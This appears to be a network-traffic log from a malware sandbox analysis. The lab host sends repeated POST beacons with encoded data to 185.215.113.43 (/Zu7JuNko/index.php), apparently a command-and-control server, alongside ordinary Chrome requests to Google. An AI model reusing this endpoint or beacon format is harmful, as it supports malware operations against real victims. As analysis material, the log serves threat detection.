Nov 29, 2024 19:56:30.780508041 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:56:32.178802967 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:56:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	50296	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:56:33.808717012 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:56:35.157982111 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:56:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	50297	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:56:41.002944946 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:56:42.387116909 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:56:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	50298	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:56:44.019507885 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:56:45.403500080 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:56:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	50300	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:56:47.156363010 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:56:48.552289009 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:56:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	50301	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:56:50.191174030 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:56:51.666136980 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:56:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	50302	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:56:53.406827927 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:56:54.848557949 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:56:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	50303	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:56:56.482445955 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:56:57.915981054 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:56:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	50304	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:56:59.733428001 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:57:00.997771978 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:57:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	50305	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:57:06.273680925 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:57:07.629478931 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:57:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	50306	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:57:09.368947983 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:57:10.811393023 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:57:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	50307	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:57:12.446275949 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:57:13.849278927 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:57:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	50308	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:57:15.600599051 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:57:16.938371897 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:57:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	50309	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:57:18.576555967 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 29, 2024 19:57:20.032284021 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:57:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	50310	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:57:21.773365974 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 19:57:23.207603931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:57:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	142.250.181.100	443	7108	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:18 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-29 18:49:19 UTC	1266	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:19 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-SScwiFJgi2B-SQG4ZYZoew' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-29 18:49:19 UTC	124	IN	Data Raw: 33 32 64 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 68 61 6c 6c 6d 61 72 6b 20 63 68 72 69 73 74 6d 61 73 20 6d 6f 76 69 65 73 22 2c 22 6b 6f 62 65 20 67 72 69 6e 63 68 20 66 6f 6f 74 62 61 6c 6c 20 63 6c 65 61 74 73 22 2c 22 64 65 63 65 6d 62 65 72 20 6d 6f 6e 74 68 6c 79 20 67 61 6d 65 73 20 70 73 20 70 6c 75 73 22 2c 22 70 6c 61 6e 65 74 20 66 69 74 6e 65 73 73 20 6f 70 Data Ascii: 32d)]}'["",["hallmark christmas movies","kobe grinch football cleats","december monthly games ps plus","planet fitness op
2024-11-29 18:49:19 UTC	696	IN	Data Raw: 65 6e 20 6f 6e 20 74 68 61 6e 6b 73 67 69 76 69 6e 67 22 2c 22 6e 61 74 69 6f 6e 61 6c 20 64 6f 67 20 73 68 6f 77 20 76 69 74 6f 20 74 68 65 20 70 75 67 22 2c 22 69 62 72 61 68 69 6d 61 20 6b 6f 6e 61 74 c3 a9 20 69 6e 6a 75 72 79 22 2c 22 72 69 70 70 6c 65 20 78 72 70 20 70 72 69 63 65 20 70 72 65 64 69 63 74 69 6f 6e 22 2c 22 68 6f 67 77 61 72 74 73 20 6c 65 67 61 63 79 20 67 72 61 70 68 69 63 73 20 6f 76 65 72 68 61 75 6c 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 Data Ascii: en on thanksgiving","national dog show vito the pug","ibrahima konat injury","ripple xrp price prediction","hogwarts legacy graphics overhaul"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoR
2024-11-29 18:49:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49710	142.250.181.100	443	7108	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:19 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49711	142.250.181.100	443	7108	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:19 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-29 18:49:19 UTC	1018	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 29 Nov 2024 18:49:19 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-29 18:49:19 UTC	372	IN	Data Raw: 31 30 66 61 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 10fa)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-29 18:49:19 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-29 18:49:19 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
